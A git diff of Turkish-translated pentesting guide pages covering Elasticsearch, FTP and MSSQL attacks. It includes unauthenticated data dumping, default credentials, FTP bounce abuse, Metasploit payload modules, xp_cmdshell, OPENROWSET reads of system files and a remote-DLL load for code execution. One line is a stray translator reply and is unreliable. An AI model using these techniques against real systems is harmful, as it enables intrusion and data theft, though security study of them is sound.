scriptler, servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. -Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. +Diğer yandan, `/etc/init`, Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** olan **Upstart** ile ilişkilidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit scriptleri, Upstart yapılandırmaları ile birlikte kullanılmaya devam etmektedir çünkü Upstart'ta bir uyumluluk katmanı vardır. -**systemd**, modern bir başlatma ve servis yöneticisi olarak ortaya çıkar ve talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır. +**systemd**, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunan modern bir başlatma ve servis yöneticisi olarak ortaya çıkmaktadır. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize ederek sistem yönetim sürecini kolaylaştırır. ## Diğer Hileler @@ -1408,14 +1408,14 @@ cisco-vmanage.md ## Referanslar -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index a92edc26e..d27b894ec 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -8,7 +8,7 @@ Elasticsearch, **dağıtık**, **açık kaynak** bir arama ve analiz motorudur v ### Elasticsearch indeksi nedir? -Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgeler** koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir. +Bir Elasticsearch **indeksi**, **JSON** olarak saklanan **ilişkili belgelerin** bir koleksiyonudur. Her belge, **anahtarlar** ve bunların karşılık gelen **değerleri** (dizeler, sayılar, booleanlar, tarihler, diziler, coğrafi konumlar vb.) içerir. Elasticsearch, hızlı tam metin aramaları sağlamak için **ters indeks** adı verilen verimli bir veri yapısı kullanır. Bu indeks, belgelerdeki her benzersiz kelimeyi listeler ve her kelimenin göründüğü belgeleri tanımlar. @@ -24,11 +24,11 @@ Elasticsearch'e erişmek için kullanılan protokol **HTTP**'dir. HTTP üzerinde ![](<../images/image (294).png>) -Eğer `/` erişirken bu yanıtı görmüyorsanız, aşağıdaki bölüme bakın. +Eğer `/` erişirken bu yanıtı göremezseniz, aşağıdaki bölüme bakın. ### Kimlik Doğrulama -**Varsayılan olarak Elasticsearch'te kimlik doğrulama etkin değildir**, bu nedenle varsayılan olarak herhangi bir kimlik bilgisi kullanmadan veritabanının içindeki her şeye erişebilirsiniz. +**Varsayılan olarak Elasticsearch'te kimlik doğrulama etkin değildir**, bu nedenle varsayılan olarak veritabanının içindeki her şeye herhangi bir kimlik bilgisi kullanmadan erişebilirsiniz. Kimlik doğrulamanın devre dışı olduğunu bir istekle doğrulayabilirsiniz: ```bash @@ -39,8 +39,8 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir. Ardından, [**bunu brute force ile denemek**](../generic-hacking/brute-force.md#elasticsearch) (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey kullanılabilir).\ -İşte burada bir **varsayılan kullanıcı adı listesi**: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**dir. +Bu, kimlik doğrulamanın yapılandırıldığı ve **geçerli kimlik bilgilerine** sahip olmanız gerektiği anlamına gelir, böylece elasticsearch'ten herhangi bir bilgi alabilirsiniz. Ardından, [**bunu brute force ile denemeyi**](../generic-hacking/brute-force.md#elasticsearch) deneyebilirsiniz (HTTP temel kimlik doğrulaması kullanır, bu nedenle BF HTTP temel kimlik doğrulaması ile kullanılabilecek her şey geçerlidir).\ +İşte burada bir **varsayılan kullanıcı adı listesi** var: _**elastic** (superuser), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Elasticsearch'in eski sürümleri için bu kullanıcı için varsayılan şifre **changeme**'dir. ``` curl -X GET http://user:password@IP:9200/ ``` @@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -**Bir indeksin içinde hangi tür verilerin saklandığı hakkında bilgi almak için** `http://host:9200/` adresine erişebilirsiniz, bu durumda örneğin `http://10.10.10.115:9200/bank` +**Bir indeksin içinde hangi tür verilerin kaydedildiği hakkında bilgi almak için** `http://host:9200/` adresine erişebilirsiniz, bu örnekte `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -112,30 +112,30 @@ Eğer bir indeksin **tüm içeriğini dökmek** istiyorsanız, `http://host:9200 _Bank indeksindeki her belgenin (girişin) içeriğini ve önceki bölümde gördüğümüz bu indeksin alanlarını karşılaştırmak için bir an durun._ -Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının olmasıdır.**\ -Ama şimdi bu indeksin **1000 belge içerdiğini bildiğinize göre**, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._ +Bu noktada, **"hits" içinde "total" adında bir alan olduğunu** fark edebilirsiniz; bu, **bu indeks içinde 1000 belgenin bulunduğunu** ancak yalnızca 10'unun geri alındığını gösterir. Bunun nedeni, **varsayılan olarak 10 belge sınırının** olmasıdır.\ +Ama şimdi bu indeksin **1000 belge içerdiğini** bildiğinize göre, **hepsini dökebilirsiniz** ve dökmek istediğiniz giriş sayısını **`size`** parametresinde belirtebilirsiniz: `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ +\_Not: Daha büyük bir sayı belirtirseniz, tüm girişler yine de dökülecektir; örneğin `size=9999` belirtebilirsiniz ve daha fazla giriş varsa garip olur (ama kontrol etmelisiniz)._ ### Hepsini Dökme Hepsini dökmek için, **önceki yolla aynı yola gidebilir ancak herhangi bir indeks belirtmeden** `http://host:9200/_search?pretty=true` adresine gidebilirsiniz, örneğin `http://10.10.10.115:9200/_search?pretty=true`\ -Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha **büyük bir sonuç miktarını** dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun. +Bu durumda **varsayılan 10** sonuç sınırının uygulanacağını unutmayın. Daha fazla sonuç dökmek için `size` parametresini kullanabilirsiniz. Daha fazla bilgi için önceki bölümü okuyun. ### Arama -Eğer bazı bilgiler arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz, `http://host:9200/_search?pretty=true&q=` adresine giderek, örneğin `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` +Eğer bazı bilgileri arıyorsanız, tüm indekslerde **ham bir arama** yapabilirsiniz: `http://host:9200/_search?pretty=true&q=` örneğinde olduğu gibi `http://10.10.10.115:9200/_search?pretty=true&q=Rockwell` ![](<../images/image (335).png>) -Eğer sadece bir indeks üzerinde **arama yapmak** istiyorsanız, **yolu** belirterek **bunu yapabilirsiniz**: `http://host:9200//_search?pretty=true&q=` +Eğer sadece bir indeks üzerinde **arama yapmak** istiyorsanız, **yolda** bunu **belirtebilirsiniz**: `http://host:9200//_search?pretty=true&q=` -_Arama içeriği için kullanılan q parametresinin **düzenli ifadeleri desteklediğini** unutmayın._ +_q parametresinin içerik aramak için **düzenli ifadeleri desteklediğini** unutmayın._ Ayrıca bir elasticsearch hizmetini fuzzlamak için [https://github.com/misalabs/horuz](https://github.com/misalabs/horuz) gibi bir şey de kullanabilirsiniz. ### Yazma İzinleri -Yeni bir indeks içinde yeni bir belge oluşturarak yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak: +Yeni bir indeks içinde yeni bir belge oluşturmayı deneyerek yazma izinlerinizi kontrol edebilirsiniz, aşağıdaki gibi bir şey çalıştırarak: ```bash curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/json' -d' { @@ -145,7 +145,7 @@ curl -X POST '10.10.10.115:9200/bookindex/books' -H 'Content-Type: application/j "name" : "how to get a job" }' ``` -Bu komut, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır. +O cmd, "_bookId_", "_author_", "_publisher_" ve "_name_" özelliklerine sahip `books` türünde bir belge ile `bookindex` adında **yeni bir indeks** oluşturacaktır. **Yeni indeksin şimdi listede nasıl göründüğüne dikkat edin**: @@ -157,7 +157,7 @@ Ve **otomatik olarak oluşturulan özelliklere** dikkat edin: ## Otomatik Sayım -Bazı araçlar, daha önce sunulan verilerin bir kısmını elde edecektir: +Bazı araçlar, daha önce sunulan verilerden bazılarını elde edecektir: ```bash msf > use auxiliary/scanner/elasticsearch/indices_enum ``` diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index 44bf12c44..303fd96d1 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -14,11 +14,11 @@ PORT STATE SERVICE ``` ### Bağlantılar Aktif & Pasif -**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan** FTP İstemcisinin N+1 portuna **başlatır**. +**Aktif FTP**'de FTP **istemcisi** önce kontrol **bağlantısını** kendi N portundan FTP Sunucusunun komut portuna - port 21'e **başlatır**. **İstemci** daha sonra N+1 portunu dinler ve N+1 portunu FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını** **M portundan FTP İstemcisinin N+1 portuna** **başlatır**. Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı varsa, o zaman aktif FTP bir sorun olabilir. Bunun için uygulanabilir bir çözüm Pasif FTP'dir. -**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna başlatır. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** veri **bağlantısını** **P portundan** FTP Sunucusunun M portuna **başlatır**. +**Pasif FTP**'de istemci kontrol bağlantısını kendi N portundan FTP Sunucusunun 21 portuna **başlatır**. Bunun ardından istemci bir **passv komutu** gönderir. Sunucu daha sonra istemciye kendi port numarasını M gönderir. Ve **istemci** **veri bağlantısını** **P portundan FTP Sunucusunun M portuna** **başlatır**. Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/) @@ -88,8 +88,8 @@ STAT ### Anonymous login _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -101,11 +101,11 @@ ftp ``` ### [Brute force](../../generic-hacking/brute-force.md#ftp) -Burada varsayılan ftp kimlik bilgileriyle güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) +Burada varsayılan ftp kimlik bilgileriyle ilgili güzel bir liste bulabilirsiniz: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt) ### Automated -Anon giriş ve bounce FTP kontrolleri varsayılan olarak nmap ile **-sC** seçeneğiyle gerçekleştirilir: +Anon giriş ve bounce FTP kontrolleri, nmap ile varsayılan olarak **-sC** seçeneğiyle gerçekleştirilir veya: ```bash nmap --script ftp-* -p 21 ``` @@ -115,7 +115,7 @@ Bir FTP sunucusuna bir tarayıcı (Firefox gibi) kullanarak şu şekilde bir URL ```bash ftp://anonymous:anonymous@10.10.10.98 ``` -Not edin ki eğer bir **web uygulaması** kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderiyorsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır. +Kullanıcı tarafından kontrol edilen verileri **doğrudan bir FTP sunucusuna** gönderen bir **web uygulaması** varsa, çift URL kodlaması `%0d%0a` (çift URL kodlamada bu `%250d%250a`) baytlarını gönderebilir ve **FTP sunucusunun keyfi eylemler** gerçekleştirmesini sağlayabilirsiniz. Bu olası keyfi eylemlerden biri, kullanıcı tarafından kontrol edilen bir sunucudan içerik indirmek, port taraması yapmak veya diğer düz metin tabanlı hizmetlerle (örneğin http) iletişim kurmaya çalışmaktır. ## FTP'den tüm dosyaları indirin ```bash @@ -131,8 +131,8 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`USER username`** - **`PASS password`** - **`HELP`** Sunucu hangi komutların desteklendiğini belirtir -- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_). -- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna IP 127.0.0.1 ile port 80'de bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**. +- **`PORT 127,0,0,1,0,80`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir bağlantı kurmasını belirtir (_5. karakteri "0" ve 6. karakteri ondalık olarak port olarak koymalısınız ya da 5. ve 6. karakteri hex olarak portu ifade etmek için kullanmalısınız_). +- **`EPRT |2|127.0.0.1|80|`** Bu, FTP sunucusuna 127.0.0.1 IP'si ile 80 numaralı portta bir TCP bağlantısı kurmasını belirtir (_"2" ile belirtilmiştir_). Bu komut **IPv6 destekler**. - **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir - **`LIST -R`** Rekürsif liste (sunucu tarafından izin verilirse) - **`APPE /path/something.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından alınan verileri bir dosyaya kaydetmesini belirtir. Dosya adı mevcutsa, verileri ekler. @@ -155,8 +155,8 @@ Bazı FTP sunucuları PORT komutuna izin verir. Bu komut, sunucuya başka bir FT Bu davranışı, bir FTP sunucusunun diğer protokollerle etkileşimde bulunmasını sağlamak için de kötüye kullanabilirsiniz. **Bir HTTP isteği içeren bir dosya yükleyebilir** ve savunmasız FTP sunucusunun **bunu rastgele bir HTTP sunucusuna göndermesini** sağlayabilirsiniz (_belki yeni bir admin kullanıcısı eklemek için?_) veya hatta bir FTP isteği yükleyip savunmasız FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\ Teori basit: -1. **İsteği (bir metin dosyası içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın -2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosya içinde yüklemek için başta bazı resim başlıkları koymanız gerekiyordu) +1. **İsteği (bir metin dosyasının içinde) savunmasız sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla konuşmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerektiğini unutmayın +2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başta bazı resim başlıkları koymanız gerekiyordu) 3. **Rastgele sunucuya ve hizmete bağlanmak için `PORT` kullanın** 4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.** @@ -171,11 +171,11 @@ posts.txt - İsteği **protokole göre "çöp" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece çöp komutlar veya dosyayı almak için `RETR` talimatını tekrarlamak) - Sadece **isteği birçok null karakter veya diğerleriyle doldurun** (satırlara bölünmüş veya bölünmemiş) -Her durumda, burada [bu davranışı kullanarak bir FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi hakkında eski bir örnek var.](ftp-bounce-download-2oftp-file.md) +Her halükarda, burada [farklı bir FTP sunucusundan bir dosya indirmek için bunu nasıl kötüye kullanacağınıza dair eski bir örnek var.](ftp-bounce-download-2oftp-file.md) ## Filezilla Sunucu Açığı -**FileZilla** genellikle **yerel** bir **Yönetim hizmetine** **FileZilla-Server** için (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı oluşturabilirsiniz**. +**FileZilla** genellikle **yerel** bir **Yönetim hizmeti** için **FileZilla-Server**'a (port 14147) **bağlanır**. Eğer **makinenizden** bu porta erişmek için bir **tünel** oluşturabiliyorsanız, **boş bir şifre** kullanarak **bağlanabilir** ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz. ## Konfigürasyon dosyaları ``` diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index a855f1dbc..d0b83a986 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve geri getirme işlevine sahip bir yazılım ürünüdür—bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir.\\ +> **Microsoft SQL Server**, Microsoft tarafından geliştirilen bir **ilişkisel veritabanı** yönetim sistemidir. Bir veritabanı sunucusu olarak, diğer yazılım uygulamaları tarafından talep edilen verileri depolama ve alma işlevine sahip bir yazılım ürünüdür—bu uygulamalar aynı bilgisayarda veya bir ağ üzerinden (İnternet dahil) başka bir bilgisayarda çalışabilir. **Varsayılan port:** 1433 ``` @@ -14,10 +14,10 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): ``` ### **Varsayılan MS-SQL Sistem Tabloları** -- **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyindeki ayrıntıları yakaladığı için çok önemlidir. +- **master Veritabanı**: Bu veritabanı, bir SQL Server örneği için tüm sistem düzeyindeki ayrıntıları yakaladığı için kritik öneme sahiptir. - **msdb Veritabanı**: SQL Server Agent, uyarılar ve işler için zamanlama yönetimi yapmak üzere bu veritabanını kullanır. -- **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler yeni oluşturulan veritabanlarında yansıtılır. -- **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, Resource veritabanında fiziksel olarak saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur. +- **model Veritabanı**: SQL Server örneğindeki her yeni veritabanı için bir şablon görevi görür; boyut, sıralama, kurtarma modeli gibi değişiklikler, yeni oluşturulan veritabanlarında yansıtılır. +- **Resource Veritabanı**: SQL Server ile birlikte gelen sistem nesnelerini barındıran salt okunur bir veritabanıdır. Bu nesneler, fiziksel olarak Resource veritabanında saklanırken, her veritabanının sys şemasında mantıksal olarak sunulur. - **tempdb Veritabanı**: Geçici nesneler veya ara sonuç setleri için geçici bir depolama alanı olarak hizmet eder. ## Sayım @@ -64,7 +64,7 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload #Add new admin user from meterpreter session msf> use windows/manage/mssql_local_auth_bypass ``` -### [**Kaba kuvvet**](../../generic-hacking/brute-force.md#sql-server) +### [**Brute force**](../../generic-hacking/brute-force.md#sql-server) ### Manuel Sayım @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### OS Komutlarını Çalıştır > [!CAUTION] -> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** sahip olmanın da gerekli olduğunu unutmayın. **`xp_cmdshell`** kullanabilenleri (sysadminler hariç) öğrenmek için: +> Komutları çalıştırabilmek için sadece **`xp_cmdshell`** **etkin** olmasının yeterli olmadığını, aynı zamanda **`xp_cmdshell` saklı yordamında EXECUTE iznine** de sahip olmanız gerektiğini unutmayın. **`xp_cmdshell`**'i kimlerin (sysadminler hariç) kullanabileceğini öğrenmek için: > > ```sql > Use master @@ -286,7 +286,7 @@ Bu araçları nasıl kullanacağınızı görebilirsiniz: ### **Dosya Yazma** -`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı prosedürleri çalıştırmalıyız: +`MSSQL` kullanarak dosya yazmak için, **Ole Automation Procedures**'ı [**etkinleştirmemiz**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) gerekiyor, bu da yönetici ayrıcalıkları gerektirir ve ardından dosyayı oluşturmak için bazı saklı yordamları çalıştırmalıyız: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Dosyayı OPENROWSET ile oku** -Varsayılan olarak, `MSSQL` **hesabın okuma erişimi olan işletim sistemindeki herhangi bir dosyayı okumasına izin verir**. Aşağıdaki SQL sorgusunu kullanabiliriz: +Varsayılan olarak, `MSSQL` **hesabın okuma erişimine sahip olduğu işletim sistemindeki herhangi bir dosyayı okuma** iznine sahiptir. Aşağıdaki SQL sorgusunu kullanabiliriz: ```sql SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents ``` @@ -327,7 +327,7 @@ MSSQL, **Python ve/veya R**'de **betikler çalıştırmanıza** izin verebilir. ![](<../../images/image (393).png>) -Birçok işlem gerçekleştirmek için yapılandırılmış python kullanma örneği: +Birçok eylemi gerçekleştirmek için yapılandırılmış python kullanma örneği: ```sql # Print the user being used (and execute commands) EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())' @@ -376,11 +376,11 @@ Bir örnek görmek için [bu bağlantıyı takip edin](../../pentesting-web/sql- ### `autoadmin_task_agents` ile RCE -[Bu gönderiye göre](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), uzaktan bir dll yüklemek ve MSSQL'in bunu çalıştırmasını sağlamak da mümkündür: +[**Bu gönderiye göre**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), uzaktan bir dll yüklemek ve MSSQL'in bunu çalıştırmasını sağlamak da mümkündür: ```sql update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1"; ``` -İle: +Lütfen çevirmek istediğiniz metni sağlayın. ```csharp using Microsoft.SqlServer.SmartAdmin; using System; @@ -432,13 +432,13 @@ public void Test() ``` ### RCE için Diğer Yöntemler -Komut yürütme elde etmek için [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici betikler](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) gibi diğer yöntemler de vardır. +Komut yürütme elde etmenin başka yöntemleri vardır, bunlar arasında [genişletilmiş saklı yordamlar](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Derlemeleri](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Görevleri](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) ve [harici 